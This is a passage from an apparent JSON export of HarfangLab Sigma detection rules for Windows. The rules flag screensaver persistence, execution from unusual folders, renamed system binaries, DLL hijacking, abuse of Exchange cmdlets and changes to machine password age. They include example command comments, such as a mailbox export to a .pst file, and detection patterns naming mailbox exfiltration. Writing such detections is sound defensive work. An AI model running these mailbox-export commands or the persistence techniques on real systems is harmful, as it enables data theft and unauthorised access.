+  "last_update": "2026-03-23T11:45:34.073993Z",
+  "creation_date": "2026-03-23T11:45:34.073995Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073999Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2019/10/09/persistence-screensaver/",
+    "https://attack.mitre.org/techniques/T1546/002/"
+  ],
+  "name": "t1546_002_suspicious_screensaver_execution.yml",
+  "content": "title: Suspicious Execution Related to Screensaver\nid: 5db05080-c59d-44b1-8530-0b311ce322d2\ndescription: |\n    Detects the execution of a suspicious .scr file, a Portable Executable (PE) file related to the Windows screensaver application.\n    Usually, this type of file is located in 'C:\\Windows\\System32\\' or 'C:\\Windows\\SysWOW64\\' and this program is executed after a configurable time of user inactivity.\n    Attackers can establish persistence via a modification of the registry 'HKCU\\Control Panel\\Desktop\\SCRNSAVE.exe' key.\n    It is recommended to perform a static analysis of the .scr file to check its legitimacy.\nreferences:\n    - https://pentestlab.blog/2019/10/09/persistence-screensaver/\n    - https://attack.mitre.org/techniques/T1546/002/\ndate: 2022/02/15\nmodified: 2025/05/12\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1546.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessProcessName|endswith: '.scr'\n        CommandLine|startswith: '?:\\'\n        ParentImage:\n            - '?:\\Windows\\System32\\winlogon.exe'\n            - '?:\\Windows\\SysWOW64\\winlogon.exe'\n\n    filter_system:\n        CommandLine|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n\n    exclusion_netpresenter:\n        ProcessProcessName:\n            - 'NETPRE~1.SCR'\n            - 'Netpresenter.scr'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Netpresenter B.V.'\n\n    exclusion_netpresenter_unsigned:\n        ProcessProcessName:\n            - 'NETPRE~1.SCR'\n            - 'Netpresenter.scr'\n        ProcessSha256: 'f0e9a4bf3a12e67afedb714909c009453ba326414ebf3b3d6ae63375144335fd'\n\n    exclusion_maincare:\n        ProcessCompany: 'Maincare Solutions'\n        ProcessProduct: 'M-CrossWay'\n        ProcessInternalName: 'ScreenSaver.exe'\n\n    exclusion_asus_oled_care:\n        ProcessProcessName: 'OLED Care Screensaver.scr'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ASUSTeK COMPUTER INC.'\n\n    exclusion_wlx_photo_gallery:\n        ProcessProcessName: 'WLXPGSS.SCR'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_ivanti:\n        ProcessImage: '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pwrsaver.scr'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Ivanti, Inc.'\n\n    exclusion_ribbons:\n        ProcessOriginalFileName: 'Ribbons'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    exclusion_known_fp:\n        ProcessSha256:\n            # earth.Scr\n            - 'ccdeb6da84164241cc30cbb36d21d9a152b5b1b0e1a067ad1d18665b413cae0b'\n            # Fliqlo.scr\n            - '2e0a46b385f21c081f69c940bf850656538a43dd8a1860093b88737f4ff82f8d'\n            #  Lively.Screensaver.dll\n            - '7bc1378daf1ce8fad87055f87be8dd50d82755e11bf1744acc2987005370ab4d'\n            #  System47.scr\n            - '6e773909911aadef994984b399d833f0796295e7085984c2fb6f42e09afa7a05'\n            #  matrix.scr\n            - '18973bf33a9ec9ed53dd30b634aec0a4e30af66f3fcba9e2e0df6d47d2f83b6d'\n            #  Lagoon32.scr\n            - '4abcd75331d262de96fe4b96c40bae8c8f0f07e33238498c88cd8540c932b09a'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5db05080-c59d-44b1-8530-0b311ce322d2",
+  "rule_name": "Suspicious Execution Related to Screensaver",
+  "rule_description": "Detects the execution of a suspicious .scr file, a Portable Executable (PE) file related to the Windows screensaver application.\nUsually, this type of file is located in 'C:\\Windows\\System32\\' or 'C:\\Windows\\SysWOW64\\' and this program is executed after a configurable time of user inactivity.\nAttackers can establish persistence via a modification of the registry 'HKCU\\Control Panel\\Desktop\\SCRNSAVE.exe' key.\nIt is recommended to perform a static analysis of the .scr file to check its legitimacy.\n",
+  "rule_creation_date": "2022-02-15",
+  "rule_modified_date": "2025-05-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5dbcadc4-da72-48c9-a11b-ab50099649cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070393Z",
+  "creation_date": "2026-03-23T11:45:34.070395Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070399Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2025/01/27/cobalt-strike-and-a-pair-of-socks-lead-to-lockbit-ransomware/",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_005_execution_from_music_folder.yml",
+  "content": "title: Execution from Music Folder\nid: 5dbcadc4-da72-48c9-a11b-ab50099649cb\ndescription: |\n    Detects a suspicious execution from Music folder.\n    Attackers may try to use the Music folder to hold their tools or malware because it is an uncommon directory that will often not be seen by users.\n    It is recommended to analyze the parent and child processes to look for malicious content or actions.\nreferences:\n    - https://thedfirreport.com/2025/01/27/cobalt-strike-and-a-pair-of-socks-lead-to-lockbit-ransomware/\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2023/03/13\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|startswith: '?:\\Users\\\\*\\Music\\'\n\n    exclusion_musicbee:\n        Image|endswith: '\\MusicBee\\MusicBee.exe'\n        Company: 'Steven Mayall'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\n# level: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5dbcadc4-da72-48c9-a11b-ab50099649cb",
+  "rule_name": "Execution from Music Folder",
+  "rule_description": "Detects a suspicious execution from Music folder.\nAttackers may try to use the Music folder to hold their tools or malware because it is an uncommon directory that will often not be seen by users.\nIt is recommended to analyze the parent and child processes to look for malicious content or actions.\n",
+  "rule_creation_date": "2023-03-13",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5dc806ff-858d-4f1c-914c-39992ff6162f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605464Z",
+  "creation_date": "2026-03-23T11:45:34.605468Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605475Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732952(v=ws.11)?redirectedfrom=MSDN",
+    "https://www.mandiant.com/resources/blog/apt41-us-state-governments",
+    "https://thedfirreport.com/2021/05/12/conti-ransomware/",
+    "https://posts.specterops.io/an-introduction-to-manual-active-directory-querying-with-dsquery-and-ldapsearch-84943c13d7eb",
+    "https://attack.mitre.org/techniques/T1087/002/",
+    "https://attack.mitre.org/techniques/T1482/",
+    "https://attack.mitre.org/techniques/T1069/002/",
+    "https://attack.mitre.org/software/S0105/"
+  ],
+  "name": "t1087_002_dsquery_renamed.yml",
+  "content": "title: Suspicious Renamed or Moved Dsquery Tool Executed\nid: 5dc806ff-858d-4f1c-914c-39992ff6162f\ndescription: |\n    Detects the execution of the renamed Dsquery tool which is a command-line tool that may be present on some Windows Server.\n    Dsquery is a Windows legitimate binary that can be used to query an Active Directory to gather informations.\n    This tool is often used by attackers during the discovery phase.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732952(v=ws.11)?redirectedfrom=MSDN\n    - https://www.mandiant.com/resources/blog/apt41-us-state-governments\n    - https://thedfirreport.com/2021/05/12/conti-ransomware/\n    - https://posts.specterops.io/an-introduction-to-manual-active-directory-querying-with-dsquery-and-ldapsearch-84943c13d7eb\n    - https://attack.mitre.org/techniques/T1087/002/\n    - https://attack.mitre.org/techniques/T1482/\n    - https://attack.mitre.org/techniques/T1069/002/\n    - https://attack.mitre.org/software/S0105/\ndate: 2022/08/26\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.002\n    - attack.t1482\n    - attack.t1069.002\n    - attack.defense_evasion\n    - attack.t1036.003\n    - attack.s0105\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Dsquery\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'dsquery.exe'\n\n    filter_name:\n        Image|endswith: '\\dsquery.exe'\n\n    filter_path:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5dc806ff-858d-4f1c-914c-39992ff6162f",
+  "rule_name": "Suspicious Renamed or Moved Dsquery Tool Executed",
+  "rule_description": "Detects the execution of the renamed Dsquery tool which is a command-line tool that may be present on some Windows Server.\nDsquery is a Windows legitimate binary that can be used to query an Active Directory to gather informations.\nThis tool is often used by attackers during the discovery phase.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-08-26",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.003",
+    "attack.t1069.002",
+    "attack.t1087.002",
+    "attack.t1482"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5e396487-729d-4967-a04b-00d5f7fd4ddd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592456Z",
+  "creation_date": "2026-03-23T11:45:34.592460Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592467Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bitlockerwizardelev.yml",
+  "content": "title: DLL Hijacking via BitLockerWizardElev.exe\nid: 5e396487-729d-4967-a04b-00d5f7fd4ddd\ndescription: |\n    Detects potential Windows DLL Hijacking via BitLockerWizardElev.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'BitLockerWizardElev.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\fvewiz.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5e396487-729d-4967-a04b-00d5f7fd4ddd",
+  "rule_name": "DLL Hijacking via BitLockerWizardElev.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via BitLockerWizardElev.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5e3aa973-aa80-4aab-bd67-4ab462e4221c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607372Z",
+  "creation_date": "2026-03-23T11:45:34.607375Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607382Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell",
+    "https://docs.microsoft.com/en-us/powershell/module/exchange/new-managementroleassignment?view=exchange-ps",
+    "https://docs.microsoft.com/en-us/powershell/module/exchange/new-mailboxexportrequest?view=exchange-ps",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1114/002/"
+  ],
+  "name": "t1059_001_powershell_suspicious_exchange_cmdlets.yml",
+  "content": "title: Suspicious Microsoft Exchange Cmdlet via PowerShell\nid: 5e3aa973-aa80-4aab-bd67-4ab462e4221c\ndescription: |\n    Detects the usage of suspicious Exchange PowerShell cmdlets.\n    New-ManagementRoleAssignment can be used to assign a management role to a user and can be abused to add the Mailbox Import Export role in order to export a specific mailbox.\n    New-MailboxExportRequest can be used to export contents of a mailbox to a .pst file.\n    These cmdlets can be abused by attackers in order to exfiltrate users mailbox.\n    It is recommended to analyze the mailbox export requests for legitimacy, monitor for mailbox activities, and further investigate other alerts and telemtry on the endpoint.\nreferences:\n    - https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell\n    - https://docs.microsoft.com/en-us/powershell/module/exchange/new-managementroleassignment?view=exchange-ps\n    - https://docs.microsoft.com/en-us/powershell/module/exchange/new-mailboxexportrequest?view=exchange-ps\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1114/002/\ndate: 2021/11/09\nmodified: 2025/02/12\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.collection\n    - attack.t1114.002\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_export:\n        # New-MailboxExportRequest -Mailbox toto -FilePath C:\\Windows\\Temp\\backup.pst\n        PowershellCommand|contains|all:\n            - 'New-MailboxExportRequest '\n            - ' -Ma'\n\n    selection_role:\n        # New-ManagementRoleAssignment -Role \"Mailbox Import Export\" -User \"toto\"\n        PowershellCommand|contains|all:\n            - 'New-ManagementRoleAssignment '\n            - ' -Ro'\n\n    exclusion_exchange:\n        PowershellCommand|contains|all:\n            - '# O15# 2844081 - Create PartnerApplication ?Exchange Online? in DC and On-Premise'\n            - '# Create application account for Exchange'\n            - 'New-ManagementRoleAssignment -Role $roleName -User $appAccount.Identity -DomainController $RoleDomainController;'\n\n    exclusion_fsecure:\n        PowershellCommand|contains|all:\n            - '# Synopsis: This script performs F-Secure Transport Agent registration/unregistration.'\n            - 'New-ManagementRoleAssignment -Name:\"F-Secure On-Demand Scanner\" -SecurityGroup:\"Exchange Servers\"'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5e3aa973-aa80-4aab-bd67-4ab462e4221c",
+  "rule_name": "Suspicious Microsoft Exchange Cmdlet via PowerShell",
+  "rule_description": "Detects the usage of suspicious Exchange PowerShell cmdlets.\nNew-ManagementRoleAssignment can be used to assign a management role to a user and can be abused to add the Mailbox Import Export role in order to export a specific mailbox.\nNew-MailboxExportRequest can be used to export contents of a mailbox to a .pst file.\nThese cmdlets can be abused by attackers in order to exfiltrate users mailbox.\nIt is recommended to analyze the mailbox export requests for legitimacy, monitor for mailbox activities, and further investigate other alerts and telemtry on the endpoint.\n",
+  "rule_creation_date": "2021-11-09",
+  "rule_modified_date": "2025-02-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1114.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5e50f425-f3e4-4ba5-b72b-63c61ea844e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087811Z",
+  "creation_date": "2026-03-23T11:45:34.087815Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087820Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1059.006/"
+  ],
+  "name": "t1059_006_renamed_python_executable.yml",
+  "content": "title: Renamed Python Binary Executed\nid: 5e50f425-f3e4-4ba5-b72b-63c61ea844e5\ndescription: |\n    Detects the execution of a renamed Python executable.\n    Adversaries may rename Python binaries to mimic legitimate processes to avoid detection.\n    It is recommended to investigate the renamed executable's behavior, verify its legitimacy, and review processes for unusual activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1059.006/\ndate: 2023/10/31\nmodified: 2026/03/13\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.006\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.Python\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        OriginalFileName:\n            - 'python.exe'\n            - 'pythonw.exe'\n            - 'py.exe'\n\n    filter_legitimate:\n        Image|endswith:\n            - '\\python*.exe'\n            - '\\pip*.exe'\n            - '\\idle*.exe'\n            - '\\py.exe'\n            - '\\pyw.exe'\n\n    exclusion_dwagent:\n        Image|endswith: '\\dwagent.exe'\n\n    exclusion_waptpython:\n        Image:\n            - '?:\\Program Files (x86)\\wapt\\waptpython.exe'\n            - '?:\\Program Files\\wapt\\waptpython.exe'\n            - '?:\\wapt\\waptpython.exe'\n\n    exclusion_waptpythonw:\n        - Image|endswith: '\\wapt\\waptpythonw.exe'\n          CommandLine: '*\\wapt\\waptpythonw.exe *\\wapt\\wapt-get.py session-setup all'\n        - Image: '?:\\Program Files (x86)\\wapt\\waptpythonw.exe'\n\n    exclusion_quantumatk:\n        Image: '?:\\Program Files\\QuantumATK\\QuantumATK-*\\bin\\quantumatk.exe'\n\n    exclusion_bmcsoftware:\n        Image: '?:\\Program Files\\BMC Software\\Discovery Outpost\\outpostworker.exe'\n    exclusion_automai:\n        Image: '?:\\Automai\\Director\\WebServ\\bin\\Py\\Scripts\\\\*.exe'\n\n    exclusion_virtualenvs:\n        Image|endswith: 'virtualenvs\\\\*\\Scripts\\python3'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5e50f425-f3e4-4ba5-b72b-63c61ea844e5",
+  "rule_name": "Renamed Python Binary Executed",
+  "rule_description": "Detects the execution of a renamed Python executable.\nAdversaries may rename Python binaries to mimic legitimate processes to avoid detection.\nIt is recommended to investigate the renamed executable's behavior, verify its legitimacy, and review processes for unusual activities.\n",
+  "rule_creation_date": "2023-10-31",
+  "rule_modified_date": "2026-03-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5e5224bd-6c47-4a50-8706-a614438c7c55",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621615Z",
+  "creation_date": "2026-03-23T11:45:34.621617Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621622Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/maximum-password-age",
+    "https://attack.mitre.org/techniques/T1098/"
+  ],
+  "name": "t1098_maximum_netlogon_password_changes.yml",
+  "content": "title: Maximum Automatic Machine Account Password Age Changed\nid: 5e5224bd-6c47-4a50-8706-a614438c7c55\ndescription: |\n    Detects a registry modification changing the maximum password age on the local host.\n    Attackers may try to change such settings to reduce scope of an existing hardening and to maintain access as long as possible.\n    It is recommended to analyze the process responsible for this registry edit as well as to look for malicious actions by the same user around the alert.\nreferences:\n    - https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/maximum-password-age\n    - https://attack.mitre.org/techniques/T1098/\ndate: 2020/10/20\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1098\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\MaximumPasswordAge'\n\n    filter_short_password_age:\n        # Image: 'C:\\Windows\\System32\\services.exe'  # if set by a 3rd party softare, wouldn't match\n        Details:\n        # the reasoning here is, an attacker would probably set this to a high value (365 days or more?)\n        # 0 to 95 days (some companies have a password policy set to 90 days and set the same LAPS password age)\n            - 'DWORD (0x0000000?)'  # 0-15 days\n            - 'DWORD (0x0000001?)'  # 16-31 days\n            - 'DWORD (0x0000002?)'  # 32-47 days\n            - 'DWORD (0x0000003?)'  # 48-63 days\n            - 'DWORD (0x0000004?)'  # 64-79 days\n            - 'DWORD (0x0000005?)'  # 80-95 days\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - 